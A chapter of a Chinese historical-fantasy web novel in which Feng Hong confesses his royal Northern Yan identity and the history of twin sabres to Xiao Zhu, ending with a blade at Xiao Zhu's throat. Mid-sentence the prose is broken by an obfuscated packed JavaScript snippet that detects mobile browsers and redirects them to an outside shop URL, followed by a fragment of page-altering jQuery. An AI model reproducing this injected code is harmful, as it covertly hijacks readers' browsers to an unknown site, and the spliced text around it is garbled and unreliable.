这沉默终究被九襄轻轻打破。
她目光缓缓扫过冯泓与萧逐:“能同舟至此,已是千般因果辗转、万重劫波洗练后……难得的圆满。”轻言细语,却似一股温润的溪流淌过二人之间,“这一年多来,咱们三人一同趟过生死劫波、拨开迷雾疑云;从最初的排斥猜忌,到如今的信任相依,既已生死与共,还有何话不能明言?”
“是啊,”冯泓迎着萧逐投来的目光,长长叹了口气,眼中泛起岁月沉淀的微光,“佛说百年修得同船渡……光阴当真如箭。转眼间,襄儿已是十七年华,而你——”他望向萧逐,语气里带着长辈的慨叹,“也将弱冠?我老了,你们都长大了……那年雪地相逢,你不过是个十岁出头的少年。”
他仿佛又看见那日的漫天飞雪:
“小小一个人儿,冻得嘴唇发紫,手里那把弯刀却握得死紧……竟敢独自挥向那头饿红了眼的头狼。”冯泓摇了摇头,笑意里混着感慨与疼惜,“若非你拼死相护,我这把老骨头,怕是早埋在当年的雪窝子里了。”
话音落下,屋里静了一瞬。连蹲在九襄膝头的小毛球也仰起脑袋,乌溜溜的眼睛望望冯泓,又转向萧逐。
想起过往岁月,自己五岁丧母,十岁独创北地寻父,萧逐的眼圈红了,这一段被岁月尘封的往事,就这样轻轻掀开了一角——
“该死的风雪!”十二岁少年嘟囔着,深一脚浅一脚,走在及膝的积雪中。天色渐暗,远处传来凄厉的狼嚎。
狼嚎声撕破雪夜的死寂,一声紧似一声,仿佛贴着耳根在低吼。少年心头剧凛,深知这些雪原上的畜生是何等机敏凶残。
“呜嗷……” 一声瘆人的长嚎近在咫尺!
三头毛色几乎与雪地融为一体的巨狼,鬼魅般悄无声息地从残破的墓碑后转了出来。六点幽绿的光芒,如同坟地里飘荡的鬼火,死死钉住了雪地上微微抽搐的“尸首”上。
“那……不,不是尸首,他是个人,还活着!”少年敏锐地察觉到了。
“嘿!畜生!这边来!”不知从何处冒出的英雄气概,少年抽出腰间佩刀,猛敲身边的墓碑,清脆的金属声吸引了狼群的注意。
他知道:狼,向来更喜猎捕活物。
果然,为首公狼转身,低吼一声,放弃原定猎物,朝少年扑去。
少年大喊一声:“铜头铁齿豆腐腰!”
在公狼腾空扑来的瞬间身子往后一倒,弯刀自下而上划出一道赤红的光。
“嗷呜……”公狼惨嚎着倒地,肚皮被划开一道长长的口子,肠子混着热气腾腾的鲜血流了一地。
少年竟单手拖着那头壮硕的公狼在雪地中疾行,狼尸在身后划出一道深深刻痕。
另外两头狼见状,竟不敢贸然扑上,只是龇着森白獠牙,喉间发出威胁的低吼,焦躁地绕圈徘徊。
少年看得分明,那不过是色厉内荏的恫吓。他毫不示弱地挥动手中弯刀,口中发出比狼嚎更显剽悍的吼声。
僵持片刻,狼群终是退了。它们叼起同伴的尸体,隐入林间的阴影之中,只留下几串杂乱的爪印与雪地上那片刺目的暗红。
少年长舒一口气,心中暗道:幸好我们族人有专门对付草原狼的办法,当然,也得亏父亲留给我的好刀。
他垂目看向手中弯刀,刃上血色正炽,宛如一头啜饮满足后徐徐苏醒的赤魇。他忙将刀插回刀鞘,这才转身查看那个被袭击的“尸首”。
那是个三十出头的中年汉子,满脸肮脏,但腰间挂着的玉佩却是贵族才有的配饰,很明显这个男人的身份并非普通人家,当时的他没想到,自己一时血勇救下的竟是“血亲叔父”……此后,这个漂泊无依的少年,在苍茫人世中,意外寻得了一处可暂歇风雪、寄存刀锋的归处。
冯泓的思绪竟也不约而同地溯回了同一处光阴的源头,他看着女儿鼓励的目光,又转向萧逐,这一次,再无算计与遮掩。
他终于开口,声音里带着久经岁月淘洗后的清晰:
“我本是北燕的末代太子——冯鸿。‘萧隐鳞’乃是为了蛰伏南朝所用的化名——‘隐鳞’二字,取自‘潜龙隐鳞’之典,寓意藏鳞潜爪、敛迹待时。”他顿了顿,又补充了一句:“这名字里,埋着二十年不敢言说的野心,也压着真龙困于浅滩的不甘……总盼着有一日,风云际会,便能振鳞而起,重凌天宇。”
言至此,他抬起手,拂过自己斑白的两鬓,像在触摸那些悄然流逝的年光:“唉,谁知这一藏,竟已半生。”
“这么说,你并非我叔父……”萧逐的声音沉了沉,终于将心中辗转多年的疑问推出唇边,“当年你说我父亲名叫‘萧隐逐’……”
“是我临时编的。”冯泓打断了他,答得干脆又直白。
屋内倏然一静。
萧逐的呼吸微微凝滞,却又紧接着追问,那声音里犹存着一丝不肯熄灭的期望:“可你认得我母亲……你唤得出她的名字——阿依古丽。”
“阿依古丽么……”冯泓侧过脸避开萧逐的目光,声音压得很低,“西戎舞坊里叫这名字的女子,没有十个也有八个。我那时不过是随口一蒙,为的只是将你——连同你手上这把宝刀,一并留在身边。”
他目光移向萧逐腰间那柄赤色弯刀,眼底掠过一丝复杂的光:
“说来……我当时真正看中的,本就是这柄宝刀。它原是我先祖的旧物,不知怎的流落到了你的手里。”
这番话像一柄锋利的薄刃,狠狠捅进了萧逐心口——原来连最初父亲的名字,都不过是随口掷出的诱饵;原来自己视若半父的倚仗与这些年相依为命的信赖,从一开始就系在一场对刀不对人的算计上。
萧逐“唰”地一声从腰间拔出那柄赤色弯刀,刀尖直指冯泓!寒光乍现的刹那,九襄已闪身挡在两人之间,这一突然的变化,惊得小毛球一身绒毛炸开,“叽”地惊叫着从她肩头滚落,连滚带爬躲到墙角木柜后,只探出半张小脸紧张张望。
却见冯泓不慌不忙,反而伸手探向自己腰间——“铿”一声轻响,另一柄弯刀被他随手抽出,竟直接抛向萧逐面前。
“你自己看。”他平静坦然道:“两把刀,本是一对。”
两柄弯刀在灯光下静静横陈:一柄赤红如淬血残阳,一柄青凛如深潭寒月;刀身弧度如孪生相映,刀镡处螭纹盘绕的规制更是分毫不差。唯有刀刃近护手处,一个刻着日字,一个刻着月,刻月的是冯泓的那把,稍小一点。
萧逐握刀的手,几不可察地颤了一下。
冯泓仰首长叹,声如沉钟:“‘赤日’与‘玄月’本就是双生并势之武学,双刀合璧,本当天下难逢敌手。只可惜自刀成之日起,便各奉其主,分峙南北。”
他目光垂落,似在凝视刀身上流转的百年光阴:
“我北燕与北狄本是同根同源,血脉相连。百年前,先祖采天山寒铁、融大漠赤铜,铸就此对无双宝刃——‘赤日’炽烈,象征王权昭昭;‘玄月’幽邃,暗喻传承深远。奈何一刀随萧氏一脉西迁,助拓跋氏立国北狄;另一刀则伴慕容氏东征,奠基我北燕山河。”
“星移物换,”他目光轻触刀脊上那道冷月刻痕,“慕容氏所持的‘玄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16927987|189537||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
月’,历经兴衰,最终传入承继北燕正统的我冯氏一族手中。而另一柄‘赤日’与其主拓跋一脉的命运……”
冯泓话音微顿,抬眼看向萧逐,眼底似有波光流转:“则更为曲折,踪迹成谜。你若愿听,我便将这刀踪细细说与你——或许其中,正藏着你追寻多年的、关于你生父下落的蛛丝马迹。”
萧逐手中那柄赤色弯刀缓缓垂下,刀尖最终触地,发出一声几不可闻的轻响。他周身的紧绷力道也随之卸去,像一张拉满的弓终于松了弦,只是握着刀柄的指节仍微微发白。
(宝莲OS:快说下去!这冯泓……故事讲到关键处竟还顿笔,真是吊人胃口。我正听到兴头上呢!)
角落里,小毛球“滋溜”一下窜回九襄肩上,熟练地找了个舒服姿势窝好,一双圆眼眨也不眨地望向冯泓,那副全神贯注的模样,活像个蹲在茶楼里等着下回分解的小听客。
屋内烛火轻轻一晃。
“彼时,年轻的拓跋涛,本不是继承者,他斩杀叔伯初登大位,根基尚浅。为求我北燕强援——我父王正是他的舅父——他不得已行质保之盟:将年幼的胞弟拓跋孤,连同那柄象征拓跋氏正统的‘赤日’宝刀,一并送至北燕都城为质,以换我父王鼎力相助。”
“然拓跋涛之羽翼,远比所有人预想中丰满得更快。不出数年,他已雄踞北境,再非当年需仰仗舅父扶持的孱弱新君。当他遣使前来,欲索回质子与宝刀时,我父王……犹豫了。”
冯泓声音渐沉,似浸入当年那场冰冷的对峙:
“父王他惧了。他想挫一挫这位外甥的锋芒,便开出条件:以一百匹汗血宝马,换一个活生生的王弟与一把刀。谁知拓跋涛竟断然回绝!”
话音至此,窝在九襄怀中的小毛球低低“唏”了一声,表达不满。
(宝莲OS:好一个帝王心术!小老鼠都比他重情义。)
“那一百匹汗血宝马,于正欲开疆拓土的王而言,意味着百名铁骑,百柄利刃。”冯泓不以为然,“自然比一个十年未见的弟弟……更有分量。”
“这透骨的寒意,瞬间冻裂了血脉。那年拓跋孤已十七岁——在北燕为质整整十年,日夜盼着归乡。兄长的抉择,让他最后一点眷念彻底熄灭。”
他顿了顿,声音里掺入一丝复杂的喟叹:
“于是他偷了那柄凝聚拓跋氏魂灵的‘赤日’宝刀,如夜雾渗入阴影,悄无声息地消失在了茫茫尘世之中。再无踪迹。”
冯泓咽了咽口水,继续道:
“而当日,亲手打开宫门侧巷、放他离去的……正是当时还是北燕王子的我。儿时与他共习这弯刀的功夫,总有些情分在……我不忍见他困死在此地,成为王权秤上一枚被弃的棋子……”
“可我错了。”冯泓忽然扯了扯嘴角,那笑意却比哭更苍凉:
“我若知道后来——知道拓跋的铁骑会踏破我北燕山河,知道我冯氏宗庙会被焚作焦土……”他抬起眼,目光直直楔进萧逐的脸上:“我绝不会放他走——半个拓跋的种,都不该活着!”
话音未落,冯泓猝然俯身,“玄月”弯刀随即入手!刀风凌厉卷起尘土,下一瞬,刃锋已紧紧贴上萧逐颈侧,冰冷的触感激得肌肤战栗。
“而你——”冯泓声音嘶哑,眼底翻涌着痛悔,“这刀……这容貌骨相……你就是那逃亡的——拓跋孤的种!”
这一刹那的变脸太快,屋中空气骤然凝固,所有的温情在瞬间破碎。
九襄还未及反应,小毛球先溜了,却听屋外一声佛号:“阿弥陀佛,善哉善哉!”